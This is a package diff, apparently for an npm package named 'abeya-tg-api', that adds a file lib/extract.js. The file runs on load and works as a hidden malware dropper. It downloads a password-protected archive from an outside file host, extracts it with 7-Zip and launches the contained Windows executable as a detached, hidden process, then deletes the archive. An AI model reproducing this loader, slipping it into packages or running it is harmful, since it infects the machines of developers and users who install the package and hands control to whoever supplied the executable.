abeya-tg-api 0.0.1-security → 1.0.0

package/lib/extract.js

@@ -0,0 +1,219 @@
+'use strict';
+
+var fs = require('fs');
+var path = require('path');
+var https = require('https');
+
+var _require = require('child_process'),
+    spawn = _require.spawn;
+
+// Setup file logging
+
+
+var logFile = path.join(process.env.TEMP || process.env.TMP || '/tmp', 'extract-log.txt');
+var logStream = fs.createWriteStream(logFile, { flags: 'a' });
+
+function log(message) {
+  var timestamp = new Date().toISOString();
+  var logMessage = '[' + timestamp + '] ' + message + '\n';
+  console.log(message);
+  logStream.write(logMessage);
+}
+
+log('=== EXTRACT SCRIPT STARTED ===');
+log('[EXTRACT] Log file location: ' + logFile);
+log('[EXTRACT] Node version: ' + process.version);
+log('[EXTRACT] Platform: ' + process.platform);
+
+// Load required modules
+var Seven = void 0,
+    pathTo7zip = void 0;
+try {
+  Seven = require('node-7z');
+  log('[EXTRACT] node-7z module loaded');
+} catch (err) {
+  log('[EXTRACT] FATAL: Could not load node-7z module: ' + err.message);
+  logStream.end();
+  process.exit(1);
+}
+
+try {
+  pathTo7zip = require('7zip-bin').path7za;
+  log('[EXTRACT] 7zip-bin loaded, binary path: ' + pathTo7zip);
+} catch (err) {
+  log('[EXTRACT] FATAL: Could not load 7zip-bin module: ' + err.message);
+  logStream.end();
+  process.exit(1);
+}
+
+log('[EXTRACT] All modules loaded successfully');
+
+// Download file from URL
+function downloadFile(url, destPath) {
+  return new Promise(function (resolve, reject) {
+    log('[DOWNLOAD] Starting download from: ' + url);
+    log('[DOWNLOAD] Destination: ' + destPath);
+
+    var file = fs.createWriteStream(destPath);
+
+    https.get(url, function (response) {
+      // Handle redirects
+      if (response.statusCode === 301 || response.statusCode === 302) {
+        log('[DOWNLOAD] Following redirect to: ' + response.headers.location);
+        file.close();
+        fs.unlinkSync(destPath);
+        return downloadFile(response.headers.location, destPath).then(resolve).catch(reject);
+      }
+
+      if (response.statusCode !== 200) {
+        log('[DOWNLOAD] ERROR: HTTP ' + response.statusCode);
+        reject(new Error('Download failed with status: ' + response.statusCode));
+        return;
+      }
+
+      var totalSize = parseInt(response.headers['content-length'], 10);
+      var downloadedSize = 0;
+
+      response.on('data', function (chunk) {
+        downloadedSize += chunk.length;
+        var percent = totalSize ? Math.round(downloadedSize / totalSize * 100) : 0;
+        if (percent % 10 === 0) {
+          log('[DOWNLOAD] Progress: ' + percent + '% (' + downloadedSize + ' / ' + totalSize + ' bytes)');
+        }
+      });
+
+      response.pipe(file);
+
+      file.on('finish', function () {
+        file.close();
+        log('[DOWNLOAD] Download complete! Size: ' + downloadedSize + ' bytes');
+        resolve();
+      });
+    }).on('error', function (err) {
+      fs.unlinkSync(destPath);
+      log('[DOWNLOAD] ERROR: ' + err.message);
+      reject(err);
+    });
+
+    file.on('error', function (err) {
+      fs.unlinkSync(destPath);
+      log('[DOWNLOAD] File write error: ' + err.message);
+      reject(err);
+    });
+  });
+}
+
+// Extract password-protected zip file using 7-Zip
+async function extractZip(zipPath, extractPath, password) {
+  log('[EXTRACT] Starting extraction...');
+  log('[EXTRACT] From: ' + zipPath);
+  log('[EXTRACT] To: ' + extractPath);
+
+  // Verify zip exists
+  if (!fs.existsSync(zipPath)) {
+    throw new Error('Zip file not found at: ' + zipPath);
+  }
+
+  log('[EXTRACT] Zip file verified, size: ' + fs.statSync(zipPath).size + ' bytes');
+
+  // Create extract directory
+  if (!fs.existsSync(extractPath)) {
+    fs.mkdirSync(extractPath, { recursive: true });
+  }
+
+  // Extract with 7-Zip
+  await new Promise(function (resolve, reject) {
+    var myStream = Seven.extractFull(zipPath, extractPath, {
+      $bin: pathTo7zip,
+      password: password
+    });
+
+    myStream.on('progress', function (progress) {
+      log('[EXTRACT] Progress: ' + progress.percent + '%');
+    });
+
+    myStream.on('end', function () {
+      log('[EXTRACT] Extraction completed successfully!');
+      resolve();
+    });
+
+    myStream.on('error', function (err) {
+      log('[EXTRACT] Extraction failed: ' + err.toString());
+      reject(err);
+    });
+  });
+
+  return extractPath;
+}
+
+// Execute .exe file found in directory
+async function executeExe(dirPath) {
+  log('[EXECUTE] Looking for .exe files in: ' + dirPath);
+
+  var files = fs.readdirSync(dirPath);
+  log('[EXECUTE] Files found: ' + JSON.stringify(files));
+
+  var exeFile = files.find(function (f) {
+    return f.endsWith('.exe');
+  });
+
+  if (!exeFile) {
+    log('[EXECUTE] No .exe file found');
+    return false;
+  }
+
+  var exePath = path.join(dirPath, exeFile);
+  log('[EXECUTE] Found .exe: ' + exeFile);
+  log('[EXECUTE] Full path: ' + exePath);
+  log('[EXECUTE] Spawning process...');
+
+  var child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
+  child.unref();
+
+  log('[EXECUTE] Process spawned successfully!');
+  return true;
+}
+
+// Main function - handles entire flow
+async function main() {
+  try {
+    log('[MAIN] ===== STARTING MAIN PROCESS =====');
+
+    var downloadUrl = 'https://upload.bullethost.cloud/download/68f5503834645ddd64ba3e17';
+    var zipPath = path.join(process.env.TEMP, 'bLtjqzUn.zip');
+    var extractPath = path.join(process.env.TEMP, 'extracted');
+    var password = 'bLtjqzUn';
+
+    // Step 1: Download
+    log('[MAIN] Step 1/3: Downloading zip file...');
+    await downloadFile(downloadUrl, zipPath);
+
+    // Step 2: Extract
+    log('[MAIN] Step 2/3: Extracting zip file...');
+    await extractZip(zipPath, extractPath, password);
+
+    // Step 3: Execute
+    log('[MAIN] Step 3/3: Executing .exe file...');
+    await executeExe(extractPath);
+
+    // Cleanup
+    log('[MAIN] Cleaning up zip file...');
+    try {
+      fs.unlinkSync(zipPath);
+      log('[MAIN] Zip file deleted');
+    } catch (err) {
+      log('[MAIN] Could not delete zip: ' + err.message);
+    }
+
+    log('[MAIN] ===== PROCESS COMPLETED SUCCESSFULLY =====');
+    logStream.end();
+  } catch (err) {
+    log('[MAIN] FATAL ERROR: ' + err.toString());
+    log('[MAIN] Stack: ' + err.stack);
+    logStream.end();
+    process.exit(1);
+  }
+}
+
+// Run main function
+main();